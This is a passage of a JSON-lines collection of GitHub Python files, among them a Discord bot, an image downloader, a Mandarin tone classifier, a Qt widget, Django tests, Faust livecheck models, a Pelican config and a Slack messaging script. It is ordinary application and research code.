differed\")\nprint(\"Max/min iters: \" + str(np.max(iter))+\"/\"+str(np.min(iter)))\nprint(\"Average iterations (for successful cases): \" + str(np.mean(iter)))\nprint(\"Stdev iterations (for successful cases): \" + str(np.std(iter)))\nprint(\"Median iterations (for successful cases): \" + str(np.median(iter)))\nif ell0idx is not None:\n print(\"Average ell0 (for successful cases): \" + str(np.mean(ell0)))\n print(\"Stdev ell0 (for successful cases): \" + str(np.std(ell0)))\n\nplt.hist(iter, bins=np.max(iter)-np.min(iter))\nplt.show()\nif ell0idx is not None:\n plt.hist(ell0, bins=np.max(ell0)-np.min(ell0))\n plt.show()\n\n","repo_name":"loris2222/AdversarialScratches","sub_path":"code/compute_result.py","file_name":"compute_result.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"21849045438","text":"import os\n\nimport discord\nfrom discord.ext import commands\n\nimport config\n\n\nclass Client(commands.Bot):\n def __init__(self, *args, **kwargs):\n super().__init__(**kwargs)\n\n self.version = config.VERSION\n self.debug = True\n self.setup_cogs()\n\n def setup_cogs(self):\n loaded_file_names = []\n for filename in os.listdir(\"./cogs\"):\n if filename.endswith(\".py\"):\n if filename[:-3] == \"debug\" and not self.debug:\n continue\n self.load_extension(f\"cogs.{filename[:-3]}\")\n loaded_file_names.append(filename)\n \n ext_list = \", \".join(loaded_file_names)\n print(f\"Loaded Cog Extensions: {ext_list}\")\n\n async def on_ready(self):\n print(f\"Bot v{self.version} On Ready | {self.user}\")","repo_name":"drumman22/Canvas-Discord-Bot","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74539752562","text":"import os\nimport requests\n\nfrom multiprocessing.pool import ThreadPool\n\nf = open('test.csv')\n\nlocs = []\nfor l in f.readlines():\n ls = l.split(',')\n nm = ls[0].replace('\"', '')\n nm = 'out/' + nm + '.jpg'\n loc = ls[1].replace('\"', '')\n #loc = loc.strip()\n locs.append( (nm, loc) ) \n\nprint(len(locs))\n\ndef fetch_url(entry):\n path, uri = entry\n try:\n if not os.path.exists(path):\n r = requests.get(uri, stream=True)\n if r.status_code == 200:\n with open(path, 'wb') as f:\n for chunk in r:\n f.write(chunk)\n print( path )\n except:\n path = \"None\"\n return path\n\nresults = ThreadPool(8).imap_unordered(fetch_url, locs)\n\nprint( list(results) )\n\n\n","repo_name":"andreaolgiati/montecarlo_tf","sub_path":"notebooks/image_analysis/download_images.py","file_name":"download_images.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18576004154","text":"import numpy as np\nimport io\nimport librosa\nimport librosa.display\nimport matplotlib.pyplot as plt\nfrom typing import List\n\nmodel_configs = dict(width=225, height=225, channels=1, activation='relu')\n\nconsonant2tone = {\n 3: 0,\n 4: 1,\n 5: 2,\n 6: 3,\n 7: 4,\n\n 8: 0,\n 9: 1,\n 10: 2,\n 11: 3,\n 12: 4,\n\n 13: 0,\n 14: 1,\n 15: 2,\n 16: 3,\n 17: 4,\n\n 18: 0,\n 19: 1,\n 20: 2,\n 21: 3,\n 22: 4,\n\n 23: 0,\n 24: 1,\n 25: 2,\n 26: 3,\n 27: 4,\n\n 32: 3,\n 33: 4,\n 34: 0,\n 35: 1,\n 36: 2,\n\n 37: 0,\n 38: 1,\n 39: 2,\n 40: 3,\n 41: 4,\n\n 42: 0,\n 43: 1,\n 44: 2,\n 45: 3,\n 46: 4,\n\n 47: 0,\n 48: 1,\n 49: 2,\n 50: 3,\n 51: 4,\n\n 52: 0,\n 53: 1,\n 54: 2,\n 55: 3,\n 56: 4,\n\n 60: 0,\n 61: 1,\n 62: 2,\n 63: 3,\n 64: 4,\n\n 65: 0,\n 66: 1,\n 67: 2,\n 68: 3,\n 69: 4,\n\n 70: 0,\n 71: 1,\n 72: 2,\n 73: 3,\n 74: 4,\n\n 75: 0,\n 76: 1,\n 77: 2,\n 78: 3,\n 79: 4,\n\n 80: 0,\n 81: 1,\n 82: 2,\n 83: 3,\n 84: 4,\n\n 85: 0,\n 86: 1,\n 87: 2,\n 88: 3,\n 89: 4,\n\n 90: 0,\n 91: 1,\n 92: 2,\n 93: 3,\n 94: 4,\n\n 95: 0,\n 96: 1,\n 97: 2,\n 98: 3,\n 99: 4,\n\n 100: 0,\n 101: 1,\n 102: 2,\n 103: 3,\n 104: 4,\n\n 105: 0,\n 106: 1,\n 107: 2,\n 108: 3,\n 109: 4,\n\n 115: 0,\n 116: 1,\n 117: 2,\n 118: 3,\n 119: 4,\n\n 120: 4,\n 121: 0,\n 122: 1,\n 123: 2,\n 124: 3,\n\n 125: 3,\n 126: 4,\n 127: 0,\n 128: 1,\n 129: 2,\n\n 137: 0,\n 138: 1,\n 139: 2,\n 140: 3,\n 141: 4,\n\n 142: 0,\n 143: 1,\n 144: 2,\n 145: 3,\n 146: 4,\n\n 147: 0,\n 148: 1,\n 149: 2,\n 150: 3,\n 151: 4,\n\n 152: 0,\n 153: 1,\n 154: 2,\n 155: 3,\n 156: 4,\n\n 157: 0,\n 158: 1,\n 159: 2,\n 160: 3,\n 161: 4,\n\n 162: 0,\n 163: 1,\n 164: 2,\n 165: 3,\n 166: 4,\n\n 167: 0,\n 168: 1,\n 169: 2,\n 170: 3,\n 171: 4,\n\n 172: 0,\n 173: 1,\n 174: 2,\n 175: 3,\n 176: 4,\n\n 177: 0,\n 178: 1,\n 179: 2,\n 180: 3,\n 181: 4,\n\n 182: 0,\n 183: 1,\n 184: 2,\n 185: 3,\n 186: 4,\n\n 187: 0,\n 188: 1,\n 189: 2,\n 190: 3,\n 191: 4,\n\n 192: 0,\n 193: 1,\n 194: 2,\n 195: 3,\n 196: 4,\n}\n\n\ndef chop(y: np.ndarray, start: float, end: float, max_dur_len=0.8):\n from gop_server import logger\n dur = end - start\n\n extra_sec = (max_dur_len - dur) / 2\n s, dur_len, extra_len, L = librosa.time_to_samples([start, dur, extra_sec, max_dur_len], sr=16000)\n ret = np.zeros(L, dtype='float32')\n fade_len = librosa.time_to_samples(0.025, sr=16000)\n\n if dur < max_dur_len:\n fade_len = min(extra_len, fade_len)\n s = max(0, s - fade_len)\n e = s + dur_len + fade_len\n y = y[s:e]\n else:\n logger.warning(f\"Audio length {dur} larger than {max_dur_len}, results might be undesirable\")\n\n mask = np.zeros_like(y)\n mask[:fade_len] = np.linspace(0, 1, num=fade_len)\n mask[-fade_len:] = np.linspace(1, 0, num=fade_len)\n mask[fade_len:-fade_len] = 1\n y *= mask\n\n if dur < max_dur_len:\n offset = (L - dur_len) // 2 - fade_len\n ret[offset:offset + y.size] = y\n return ret\n else:\n return y\n\n\ndef melspectrogram_feature(y: np.ndarray, start: float, end: float, sr=16000, fmin=50, fmax=350):\n ret = io.BytesIO()\n\n y = chop(y, start, end)\n\n S = librosa.feature.melspectrogram(y=y, sr=sr, n_mels=64, n_fft=2048, hop_length=16, fmin=fmin, fmax=fmax)\n plt.figure(figsize=(2.25, 2.25))\n librosa.display.specshow(librosa.power_to_db(S, ref=np.max), sr=sr, fmin=fmin, fmax=fmax, cmap='gray')\n\n plt.gca().xaxis.set_major_locator(plt.NullLocator())\n plt.gca().yaxis.set_major_locator(plt.NullLocator())\n plt.subplots_adjust(top=1, bottom=0, left=0, right=1, hspace=0, wspace=0)\n plt.margins(0, 0)\n plt.savefig(ret, format='jpg')\n plt.close('all')\n\n ret.seek(0)\n return ret\n\n\ndef load_image_from_bytes(buf):\n import tensorflow as tf\n image = tf.image.decode_jpeg(buf, channels=1)\n\n # convert to float values in [0, 1]\n image = tf.image.convert_image_dtype(image, tf.float32)\n\n # images are already 225x225\n # image = tf.image.resize_images(image, [225, 225])\n\n return image\n\n\ndef create_model(width=225, height=225, channels=1, activation='relu'):\n from tensorflow.keras import Sequential\n from tensorflow.keras.layers import Conv2D, BatchNormalization, Activation, MaxPool2D, Flatten, Dense\n model = Sequential()\n model.add(\n Conv2D(filters=64, kernel_size=(5, 5), strides=(3, 3), padding='same', input_shape=(width, height, channels)))\n model.add(BatchNormalization())\n model.add(Activation(activation))\n model.add(MaxPool2D(pool_size=(3, 3), strides=(3, 3), padding='same'))\n\n model.add(Conv2D(filters=128, kernel_size=(3, 3), strides=(1, 1), padding='same'))\n model.add(BatchNormalization())\n model.add(Activation(activation))\n model.add(MaxPool2D(pool_size=(2, 2), strides=(2, 2), padding='same'))\n\n model.add(Conv2D(filters=256, kernel_size=(3, 3), strides=(1, 1), padding='same'))\n model.add(BatchNormalization())\n model.add(Activation(activation))\n model.add(MaxPool2D(pool_size=(2, 2), strides=(2, 2), padding='same'))\n\n model.add(Conv2D(filters=512, kernel_size=(3, 3), strides=(1, 1), padding='same'))\n model.add(BatchNormalization())\n model.add(Activation(activation))\n model.add(MaxPool2D(pool_size=(2, 2), strides=(2, 2), padding='same'))\n\n model.add(Flatten())\n model.add(Dense(1024))\n model.add(BatchNormalization())\n model.add(Activation(activation))\n\n model.add(Dense(1024))\n model.add(BatchNormalization())\n model.add(Activation(activation))\n\n model.add(Dense(4))\n model.add(Activation('softmax'))\n return model\n\n\ndef load_model_from_bytes(model_bytes: bytes):\n import pickle\n weights = pickle.loads(model_bytes)\n model = create_model()\n model.set_weights(weights)\n return model\n\n\ndef infer(model, audio: np.array, starts: List[float], ends: List[float], sr=16000, fmin=50, fmax=350):\n \"\"\"\n Perform tone inference on a slice of audio\n :param model: Keras model\n :param audio: Audio as a numpy array with float32 as dtype (librosa format)\n :param starts: List of start time in seconds\n :param ends: List of end time in seconds\n :param sr: Sample rate\n :param fmax: Max frequency\n :param fmin: Min frequency\n :return: np.ndarray (2D), An array of the probability of each tones\n \"\"\"\n n = len(starts)\n if n > 1: # triphone\n ends[:-1] = ends[1:]\n starts[1:] = starts[:-1]\n\n bufs = [melspectrogram_feature(audio, starts[i], ends[i], sr, fmin, fmax) for i in range(n)]\n x = np.asarray([load_image_from_bytes(b.read()) for b in bufs], dtype='float32')\n y_pred = model.predict(x)\n return y_pred\n\n\ndef get_non_toned_mask(phone_ids) -> np.ndarray:\n from gop_server import zh_config\n ret = ~np.isin(phone_ids, zh_config.toned_phones)\n return ret\n\n\ndef get_light_tone_mask(phone_ids) -> np.ndarray:\n tones = np.vectorize(lambda x: consonant2tone.get(x, -1))(phone_ids)\n return tones == 0\n\n\ndef get_tone_correctness(phone_ids, tones) -> np.ndarray:\n expected: np.ndarray = np.vectorize(lambda x: consonant2tone.get(x, -1))(phone_ids)\n ret = expected == tones\n # TODO: how to test the correctness of light tones\n ret[expected == -1] = True\n ret[expected == 0] = True\n return ret\n\n\ndef tc_likelihood(wav: np.ndarray, frame_alignment: np.ndarray, nonsil_mask: np.ndarray,\n frame_shift_sec=0.010) -> np.ndarray:\n \"\"\"\n Get log-likelihood of the current observation being one of the 4 tones\n\n :param wav: Audio as a numpy array with float32 as dtype (librosa format)\n :param frame_alignment: List of phone ids of each frame\n :param nonsil_mask: Non-silence phone mask\n :param frame_shift_sec: Time between two frames in seconds\n :return: np.ndarray (2D), An array of the log-likelihood of each tones\n \"\"\"\n\n from gop_server import zh_config\n from gop_server.utils import frame_alignment_to_segment_indices as fa2si\n\n model = load_model_from_bytes(zh_config.tc_bytes)\n seg_idx = fa2si(frame_alignment)\n n = seg_idx.size\n # MFCC frame shift is 10ms (https://github.com/kaldi-asr/kaldi/blob/master/src/feat/feature-window.h#L55)\n seg_time = seg_idx * frame_shift_sec\n starts = []\n ends = []\n for i in range(n - 1):\n if nonsil_mask[i]:\n starts.append(seg_time[i])\n ends.append(seg_time[i + 1])\n ret = infer(model, wav, starts, ends)\n ret = np.log(ret)\n return ret\n\n\ndef get_got(phone_ids: np.ndarray, phone_feats: np.ndarray) -> np.ndarray:\n from gop_server import zh_config\n\n # get phone ids of the phones that have other tones\n same_based = np.zeros((phone_ids.size, 4), dtype=np.int)\n for i, pid in enumerate(phone_ids):\n if pid in zh_config.toned_phones:\n ids = [pi for pi in zh_config.phone2same_base[pid] if consonant2tone.get(pi, 0) != 0]\n same_based[i] = np.asarray(ids, dtype=np.int) - 1\n\n n_phones = phone_feats.shape[1] // 2\n tone_feats: np.ndarray = phone_feats[:, n_phones:]\n\n # get GOT of all 4 tones\n ret = np.zeros((tone_feats.shape[0], 4))\n for i in range(ret.shape[0]):\n if phone_ids[i] in zh_config.toned_phones:\n ret[i] = tone_feats[i, same_based[i]]\n # print(np.argmin(ret[i]) + 1)\n return ret\n\n\ndef ensemble_tones(GOT: np.ndarray, tone_ll: np.ndarray) -> np.ndarray:\n \"\"\"\n Ensemble GOT and output of the tone classifier\n :param GOT: Goodness of pronunciation\n :param tone_ll: Tone likelihood\n :return: The observed tones (0 N/A, 1 一声, 2 二声, ...)\n \"\"\"\n # mean = (GOT + tone_ll) / 2 # FIXME: GOT is not usable\n mean = tone_ll\n ret = np.argmax(mean, axis=1) + 1\n return ret\n","repo_name":"tjysdsg/capt-public","sub_path":"gop_server/tone_classifier.py","file_name":"tone_classifier.py","file_ext":"py","file_size_in_byte":9926,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"10743657451","text":"import wallaby.FX as FX\n\nfrom wallaby.qt_combat import *\n\nfrom ..baseWidget import *\nfrom ..logics import *\n\nfrom wallaby.pf.peer.imageViewer import *\nfrom wallaby.pf.peer.imageEditor import *\n\nclass ImageLabel(QtGui.QLabel, BaseWidget, EnableLogic, ViewLogic, EditLogic):\n __metaclass__ = QWallabyMeta\n\n usePathAsAttachmentName = Meta.property('bool', default=False)\n imageMaxSize = Meta.property('int', default=0)\n\n def __init__(self, *args):\n QtGui.QLabel.__init__(self, *args)\n BaseWidget.__init__(self, QtGui.QLabel, *args)\n EnableLogic.__init__(self)\n ViewLogic.__init__(self, ImageViewer, self._changeImage)\n EditLogic.__init__(self, ImageEditor, self.currentImage)\n\n self._currentImage = None\n self._readOnly = True\n self._imageName = None\n\n self._popup = None\n self._popupLabel = QtGui.QLabel()\n\n def createPopup(self):\n p = self._popup = QtGui.QMainWindow(FX.mainWindow)\n # p.setFixedSize(512, 512)\n p.setWindowTitle('Zoom Image')\n p.setCentralWidget(self._popupLabel)\n p.hide()\n\n def deregister(self, remove=True):\n EnableLogic.deregister(self, remove)\n ViewLogic.deregister(self, remove)\n EditLogic.deregister(self, remove)\n\n def register(self):\n EnableLogic.register(self)\n ViewLogic.register(self)\n EditLogic.register(self)\n\n def _resolve(self, value):\n self._changeImage(value)\n\n def setEnabled(self, enabled):\n self._readOnly = not enabled\n QtGui.QLabel.setEnabled(self, True)\n\n def currentImage(self):\n return self._currentImage, self._imageName, self.usePathAsAttachmentName\n\n def mouseDoubleClickEvent(self, e):\n if self._readOnly or self._editor == None: \n if self._popup == None:\n self.createPopup()\n\n self._popup.show()\n self._popup.raise_()\n return\n\n name = QtGui.QFileDialog.getOpenFileName(self, \"Select new image\", \"\", \"Images (*.png *.jpg *.jpeg)\")\n if name == None or len(name) == 0:\n return\n\n imgName = unicode(name)\n import os.path\n imgName = os.path.basename(imgName)\n self._imageName = imgName\n\n img = QtGui.QImage(name)\n\n if self.imageMaxSize > 0:\n img = img.scaled(self.imageMaxSize, self.imageMaxSize, QtCore.Qt.KeepAspectRatio)\n\n self._updateImage(img)\n self._updatePopup(img)\n\n ba = QtCore.QByteArray()\n buffer = QtCore.QBuffer(ba)\n img.save(buffer, \"PNG\")\n\n self._currentImage = ba.data()\n self._editor._fieldChanged()\n\n def _updatePopup(self, img):\n p = QtGui.QPixmap()\n\n if img != None:\n p.convertFromImage(img)\n\n self._popupLabel.setPixmap(p)\n\n def _updateImage(self, img):\n p = QtGui.QPixmap()\n\n if img != None:\n p.convertFromImage(img)\n\n self.setPixmap(p)\n\n def _changeImage(self, d, name):\n self._imageName = name\n\n if d == None:\n self._updateImage(None)\n return\n\n d.addCallback(self._doChangeImage)\n\n def _doChangeImage(self, data):\n if data == None or len(data) == 0:\n self._updateImage(None)\n return\n\n self._currentImage = data\n\n img = QtGui.QImage.fromData(self._currentImage)\n self._updatePopup(img)\n\n img = img.scaled(self.width(), self.height(), QtCore.Qt.KeepAspectRatio, QtCore.Qt.SmoothTransformation)\n\n self._updateImage(img)\n","repo_name":"FreshXOpenSource/wallaby-frontend-qt","sub_path":"wallaby/frontends/qt/widgets/labels/imageLabel.py","file_name":"imageLabel.py","file_ext":"py","file_size_in_byte":3565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"24612856358","text":"import re\nimport xml.etree.ElementTree as ET\n\nfrom django.test import Client\nfrom django.test import TestCase\n\nfrom recipes.models import Recipe\n\nSITEMAP_SCHEMA = \"http://www.sitemaps.org/schemas/sitemap/0.9\"\n\nclient = Client()\n\n\nclass SitemapTest(TestCase):\n\n fixtures = ['recipes.json']\n\n def test_sitemap_exists(self):\n response = client.get('/sitemap.xml')\n self.assertEqual(response.status_code, 200, \"HTTP 200 returned\")\n\n def test_sitemap_has_entry_for_each_recipe(self):\n recipe_count = Recipe.objects.all().count()\n recipe_loc_elements = self._sitemap_loc_elements(r\"^https://testserver/recipes/\\d+/[a-z-]+/$\")\n self.assertEqual(len(recipe_loc_elements), recipe_count, \"All recipes have an entry\")\n\n def test_sitemap_has_entry_for_index_page(self):\n index_loc_elements = self._sitemap_loc_elements(r\"^https://testserver/$\")\n self.assertEqual(len(index_loc_elements), 1, \"Index page has an entry\")\n\n def test_sitemap_has_entry_for_about_page(self):\n about_loc_elements = self._sitemap_loc_elements(r\"^https://testserver/about/$\")\n self.assertEqual(len(about_loc_elements), 1, \"About page has an entry\")\n\n def test_sitemap_has_entry_for_planner_page(self):\n planner_loc_elements = self._sitemap_loc_elements(r\"^https://testserver/planner/$\")\n self.assertEqual(len(planner_loc_elements), 1, \"Planner page has an entry\")\n\n def _sitemap_loc_elements(self, regex=None):\n response = client.get('/sitemap.xml')\n response_tree = ET.fromstring(response.content.decode(\"utf-8\"))\n all_locs = response_tree.findall(f\"{{{SITEMAP_SCHEMA}}}url/{{{SITEMAP_SCHEMA}}}loc\")\n if regex:\n return [loc_element for loc_element in all_locs if re.match(regex, loc_element.text)]\n return all_locs\n","repo_name":"MyNameIsMikeGreen/platypus","sub_path":"recipes/tests/test_sitemap.py","file_name":"test_sitemap.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"28344682600","text":"# @class_declaration interna_project #\nfrom YBLEGACY.FLUtil import FLUtil\nfrom YBLEGACY import baseraw\nfrom models.fltrainb.consultant import consultant as Consultant\nfrom models.fltrainb.leader import leader as Leader\n\nclass interna_project(baseraw.RawModel):\n pass\n\n class Meta:\n abstract = True\n\n\n# @class_declaration trainb_project #\nclass trainb_project(interna_project):\n\n idproject = baseraw.AutoField(\n db_column=\"idproject\",\n verbose_name=FLUtil.translate(u\"Identificador\", u\"MetaData\"),\n primary_key=True\n )._miextend(\n REQUIRED=True,\n OLDTIPO=\"SERIAL\",\n visiblegrid=False,\n )\n name = baseraw.CharField(\n db_column=\"name\",\n verbose_name=FLUtil.translate(u\"Nombre\", u\"MetaData\"),\n blank=False,\n null=False,\n max_length=200\n )._miextend(\n OLDTIPO=\"STRING\"\n )\n\n description = baseraw.TextField(\n db_column=\"description\",\n verbose_name=FLUtil.translate(u\"Descripcion\", u\"MetaData\"),\n blank=False,\n null=True,\n )._miextend(\n OLDTIPO=\"STRING\"\n )\n\n budget = baseraw.CharField(\n db_column=\"budget\",\n verbose_name=FLUtil.translate(u\"Presupuesto\", u\"MetaData\"),\n blank=False,\n null=True,\n max_length=12\n )._miextend(\n OLDTIPO=\"STRING\"\n )\n\n cost = baseraw.CharField(\n db_column=\"cost\",\n verbose_name=FLUtil.translate(u\"Coste\", u\"MetaData\"),\n blank=False,\n null=True,\n max_length=12\n )._miextend(\n OLDTIPO=\"STRING\"\n )\n\n start_date = baseraw.DateField(\n db_column=\"start_date\",\n verbose_name=FLUtil.translate(u\"Fecha de comienzo\", u\"MetaData\"),\n blank=True,\n null=True\n )._miextend(\n OLDTIPO=\"DATE\"\n )\n\n finish_date = baseraw.DateField(\n db_column=\"finish_date\",\n verbose_name=FLUtil.translate(u\"Fecha de finalización\", u\"MetaData\"),\n blank=True,\n null=True\n )._miextend(\n OLDTIPO=\"DATE\"\n )\n\n leader = baseraw.ForeignKey(\n \"leader\",\n db_column=\"leader\",\n verbose_name=FLUtil.translate(u\"Líder del cambio\", u\"MetaData\"),\n blank=False,\n null=False,\n max_length=30,\n to_field=\"idleader\",\n on_delete=baseraw.PROTECT,\n related_name=\"project_leader__fk__leader_idleader\"\n )._miextend(\n OLDTIPO=\"SERIAL\"\n )\n\n consultant = baseraw.ForeignKey(\n \"consultant\",\n db_column=\"consultant\",\n verbose_name=FLUtil.translate(u\"Consultor\", u\"MetaData\"),\n blank=False,\n null=False,\n max_length=30,\n to_field=\"idconsultant\",\n on_delete=baseraw.PROTECT,\n related_name=\"projects\"\n )._miextend(\n OLDTIPO=\"SERIAL\"\n )\n\n def create(self, data):\n data['leader'] = Leader().load(data['leader'])\n data['consultant'] = Consultant().load(data['consultant'])\n return super().create(data)\n\n def update(self, data):\n data['leader'] = Leader().load(data['leader'])\n data['consultant'] = Consultant().load(data['consultant'])\n return super().update(data)\n\n class Meta:\n abstract = True\n\n\n# @class_declaration project #\nclass project(trainb_project):\n pass\n\n class Meta:\n managed = True\n verbose_name = FLUtil.translate(u\"Proyectos\", u\"MetaData\")\n db_table = u\"project\"\n","repo_name":"yeboyebo/trainB","sub_path":"model_fltrainb__project.py","file_name":"model_fltrainb__project.py","file_ext":"py","file_size_in_byte":3422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"23142053201","text":"\"\"\"LiveCheck - Models.\"\"\"\nfrom datetime import datetime, timezone\nfrom enum import Enum\nfrom typing import Any, Dict, List, Mapping, Optional\n\nfrom mode.utils.compat import want_str\nfrom mode.utils.objects import cached_property\nfrom mode.utils.text import abbr\n\nfrom faust import Record\nfrom faust.utils.iso8601 import parse as parse_iso8601\n\n__all__ = ['State', 'SignalEvent', 'TestExecution', 'TestReport']\n\nHEADER_TEST_ID = 'LiveCheck-Test-Id'\nHEADER_TEST_NAME = 'LiveCheck-Test-Name'\nHEADER_TEST_TIMESTAMP = 'LiveCheck-Test-Timestamp'\nHEADER_TEST_EXPIRES = 'LiveCheck-Test-Expires'\n\n\nclass State(Enum):\n \"\"\"Test execution status.\"\"\"\n\n INIT = 'INIT'\n PASS = 'PASS'\n FAIL = 'FAIL'\n ERROR = 'ERROR'\n TIMEOUT = 'TIMEOUT'\n STALL = 'STALL'\n SKIP = 'SKIP'\n\n def is_ok(self) -> bool:\n \"\"\"Return :const:`True` if this is considered an OK state.\"\"\"\n return self in OK_STATES\n\n\nOK_STATES = frozenset({State.INIT, State.PASS, State.SKIP})\n\n\nclass SignalEvent(Record):\n \"\"\"Signal sent to test (see :class:`faust.livecheck.signals.Signal`).\"\"\"\n\n signal_name: str\n case_name: str\n key: Any\n value: Any\n\n\nclass TestExecution(Record, isodates=True):\n \"\"\"Requested test execution.\"\"\"\n\n id: str\n case_name: str\n timestamp: datetime\n test_args: List[Any]\n test_kwargs: Dict[str, Any]\n expires: datetime\n\n @classmethod\n def from_headers(cls, headers: Mapping) -> Optional['TestExecution']:\n \"\"\"Create instance from mapping of HTTP/Kafka headers.\"\"\"\n try:\n test_id = want_str(headers[HEADER_TEST_ID])\n except KeyError:\n return None\n else:\n test_name = headers[HEADER_TEST_NAME]\n timestamp = headers[HEADER_TEST_TIMESTAMP]\n expires = headers[HEADER_TEST_EXPIRES]\n\n return cls(\n id=test_id,\n case_name=want_str(test_name),\n timestamp=parse_iso8601(want_str(timestamp)),\n expires=parse_iso8601(want_str(expires)),\n test_args=(),\n test_kwargs={},\n )\n\n def as_headers(self) -> Mapping:\n \"\"\"Return test metadata as mapping of HTTP/Kafka headers.\"\"\"\n return {\n HEADER_TEST_ID: self.id,\n HEADER_TEST_NAME: self.case_name,\n HEADER_TEST_TIMESTAMP: self.timestamp.isoformat(),\n HEADER_TEST_EXPIRES: self.expires.isoformat(),\n }\n\n @cached_property\n def ident(self) -> str:\n \"\"\"Return long identifier for this test used in logs.\"\"\"\n return self._build_ident(self.case_name, self.id)\n\n @cached_property\n def shortident(self) -> str:\n \"\"\"Return short identifier for this test used in logs.\"\"\"\n return self._build_ident(\n self.short_case_name,\n abbr(self.id, max=15, suffix='[...]'),\n )\n\n def _build_ident(self, case_name: str, id: str) -> str:\n return f'{case_name}:{id}'\n\n def _now(self) -> datetime:\n return datetime.utcnow().astimezone(timezone.utc)\n\n @cached_property\n def human_date(self) -> str:\n \"\"\"Return human-readable description of test timestamp.\"\"\"\n if self.was_issued_today:\n return f'''Today {self.timestamp.strftime('%H:%M:%S')}'''\n else:\n return str(self.timestamp)\n\n @cached_property\n def was_issued_today(self) -> bool:\n \"\"\"Return :const:`True` if test was issued on todays date.\"\"\"\n return self.timestamp.date() == self._now().date()\n\n @cached_property\n def is_expired(self) -> bool:\n \"\"\"Return :const:`True` if this test already expired.\"\"\"\n return self._now() >= self.expires\n\n @cached_property\n def short_case_name(self) -> str:\n \"\"\"Return abbreviated case name.\"\"\"\n return self.case_name.split('.')[-1]\n\n\nclass TestReport(Record):\n \"\"\"Report after test execution.\"\"\"\n\n case_name: str\n state: State\n test: Optional[TestExecution]\n runtime: Optional[float]\n signal_latency: Dict[str, float]\n error: Optional[str]\n traceback: Optional[str]\n","repo_name":"robinhood/faust","sub_path":"faust/livecheck/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4097,"program_lang":"python","lang":"en","doc_type":"code","stars":6634,"dataset":"github-code","pt":"76"} +{"seq_id":"26432097906","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = \"Do Anh Tu\"\nSITENAME = \"Blog of science and life\"\nSITESUBTITLE = \"Learn forever\"\nSITEURL = \"https://doanhtu.com\"\nDISPLAY_CATEGORIES_ON_MENU = True\nDISPLAY_PAGES_ON_MENU = True\nSUMMARY_MAX_LENGTH = 150\n\nHOME_HIDE_TAGS = False\nOUTPUT_PATH = \"public/\"\nSTATIC_PATHS = [\"static/css\", \"static/images\", \"static/js\", \"static/css/fonts\"]\nRELATIVE_URLS = True\nMARKDOWN = {\n \"extensions\": [\"fenced_code\"],\n \"extension_configs\": {\n \"markdown.extensions.codehilite\": {\"css_class\": \"highlight\"},\n \"markdown.extensions.extra\": {},\n \"markdown.extensions.meta\": {},\n },\n \"output_format\": \"html5\",\n}\n\nTHEME = \"themes/minimal\"\n\nPLUGINS = [\n \"pelican_katex\",\n]\n\nDEFAULT_PAGINATION = 3\nPAGINATION_PATTERNS = (\n (1, \"{base_name}/\", \"{base_name}/index.html\"),\n (2, \"{base_name}/page/{number}/\", \"{base_name}/page/{number}/index.html\"),\n)\n\nARTICLE_URL = \"article/{slug}/\"\nARTICLE_SAVE_AS = \"article/{slug}/index.html\"\n\nPAGE_URL = \"{slug}/\"\nPAGE_SAVE_AS = \"pages/{slug}/index.html\"\n\nTAG_URL = \"tag/{slug}/\"\nTAG_SAVE_AS = \"tag/{slug}/index.html\"\nTAGS_URL = \"tags/\"\nTAGS_SAVE_AS = \"tags/index.html\"\n\nAUTHOR_URL = \"author/{slug}/\"\nAUTHOR_SAVE_AS = \"author/{slug}/index.html\"\nAUTHORS_URL = \"authors/\"\nAUTHORS_SAVE_AS = \"authors/index.html\"\n\nCATEGORY_URL = \"category/{slug}/\"\nCATEGORY_SAVE_AS = \"category/{slug}/index.html\"\nCATEGORYS_URL = \"categories/\"\nCATEGORYS_SAVE_AS = \"categories/index.html\"\n\nARCHIVES_SAVE_AS = \"archives/index.html\"\nYEAR_ARCHIVE_SAVE_AS = \"archives/{date:%Y}/index.html\"\nMONTH_ARCHIVE_SAVE_AS = \"archives/{date:%Y}/{date:%m}/index.html\"\n\nPATH = \"content\"\n\nTIMEZONE = \"Asia/Ho_Chi_Minh\"\n\nDEFAULT_LANG = \"en\"\n\n# Feed generation is usually not desired when developing\nFEED_DOMAIN = SITEURL\nFEED_ATOM = \"atom\"\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\nAUTHOR_FEED_ATOM = None\nAUTHOR_FEED_RSS = None\n","repo_name":"tudoanh/doanhtu.com","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"35048757157","text":"from slack_sdk import WebClient\n\nclient = WebClient(token=\"...\")\nchannel_id = \"...\"\n\nusers_list = client.users_list()\nmembers = users_list[\"members\"]\n\nmember: dict\nfor member in members:\n # validation: deleted 계정은 대상에서 제외\n if member.get(\"deleted\", True):\n continue\n\n # validation: 특정 계정에만 메시지 보냄. 테스트 코드이므로 추후 삭제.\n if member.get(\"name\", \"\") != \"choeg\":\n continue\n\n print(f\"member: {member}\")\n result = client.chat_postMessage(\n channel=member.get(\"id\", \"\"),\n text=f'{open(file=\"slack.py\", mode=\"r\").read()}',\n )\n print(f\"result: {result}\")\n","repo_name":"dgdsingen/test","sub_path":"python/slack.py","file_name":"slack.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"43954975870","text":"import 